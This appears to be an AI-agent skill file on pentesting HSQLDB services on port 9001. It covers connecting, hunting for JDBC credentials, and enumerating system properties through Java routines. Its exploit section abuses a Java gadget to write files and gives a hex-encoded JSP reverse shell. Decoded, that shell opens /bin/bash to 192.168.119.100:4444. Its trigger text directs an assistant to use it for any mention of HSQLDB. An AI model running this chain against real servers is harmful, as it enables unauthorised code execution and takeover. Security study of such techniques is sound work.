Hacktricks-skills hsqldb-pentesting
How to pentest HSQLDB (HyperSQL Database) services on port 9001. Use this skill whenever the user mentions HSQLDB, port 9001, Java database exploitation, JDBC attacks, or needs to interact with HSQLDB during security assessments. This skill covers connection methods, default credentials, Java Language Routines for system property enumeration, and file writing techniques for reverse shells.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/9001-pentesting-hsqldb/SKILL.MDHSQLDB Pentesting
HSQLDB (HyperSQL Database) is a Java-based SQL relational database system. It's commonly found on port 9001 and can be exploited for information gathering and code execution.
Quick Reference
| Aspect | Details |
|---|---|
| Default Port | 9001/tcp |
| Default Credentials | / blank password |
| Connection URL | |
| Service Banner | |
Connection Methods
1. Using HSQLDB GUI Tool
Download HSQLDB from SourceForge and extract
hsqldb/lib/hsqldb.jar.
java -jar hsqldb.jar
Connect using the discovered credentials and connection URL.
2. Finding Credentials in Files
If you've already compromised another service, search for HSQLDB credentials:
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Important: Note the database name carefully - you'll need it to construct the connection URL.
Java Language Routines (JRTs)
HSQLDB allows calling static Java methods through Java Language Routines. The called class must be in the application's classpath.
Reading System Properties
Create a function to read Java system properties:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Execute to enumerate system information:
VALUES(getsystemproperty('user.name')) VALUES(getsystemproperty('user.home')) VALUES(getsystemproperty('os.name')) VALUES(getsystemproperty('os.version')) VALUES(getsystemproperty('java.home'))
Common properties to enumerate:
- Current useruser.name
- User home directoryuser.home
/os.name
- Operating system detailsos.version
- Java installation pathjava.home
- Current working directoryuser.dir
- Classpath informationjava.class.path
See Oracle's system properties documentation for the full list.
Writing Files to Disk
Use the
com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename gadget to write hex-encoded content to disk.
Limitation: Maximum 1024 bytes per write.
Create the procedure:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Execute to write a file:
CALL writetofile('/path/to/file.jsp', CAST('hex_encoded_content' AS VARBINARY(1024)))
Reverse Shell Example
For a JSP reverse shell, hex-encode your payload and write it:
CALL writetofile('/ROOT/shell.jsp', CAST('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392e3130302f34343434223b0a20202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328636d64293b0a202020496e70757453747265616d206973203d20702e676574496e70757453747265616d28293b0a2020204f757470757453747265616d206f73203d20702e6765744f757470757453747265616d28293b0a202020536f636b657420736f636b6574203d206e657720536f636b657428223139322e3136382e3131392e313030222c2034343434293b0a202020496e70757453747265616d2073696e203d20736f636b65742e676574496e70757453747265616d28293b0a2020204f757470757453747265616d20736f7574203d20736f636b65742e6765744f757470757453747265616d28293b0a2020204e657720746872656164286e65772052756e6e61626c6528297b7075626c696320766f69642072756e28297b7472797b7768696c652874727565297b73696e2e72656164286f73293b736f75742e7772697465286973293b7d636174636828457863657074696f6e2065297b7d7d7d292e737461727428293b7d292e737461727428293b0a253e' AS VARBINARY(1024)))
Workflow Summary
- Identify: Look for port 9001/tcp with HSQLDB banner
- Connect: Use HSQLDB GUI or JDBC client with discovered credentials
- Enumerate: Use
to gather system informationgetsystemproperty() - Exploit: Use
to write reverse shells or other payloadswritetofile() - Access: Access written files via web server or execute directly
Notes
- HSQLDB is often running in-memory or bound to localhost by default
- Finding it usually means you've already exploited another service
- The 1024-byte limit on file writes may require chunking larger payloads
- All Java classes in the application's classpath are potentially callable
- This technique works because HSQLDB runs with the same privileges as the application hosting it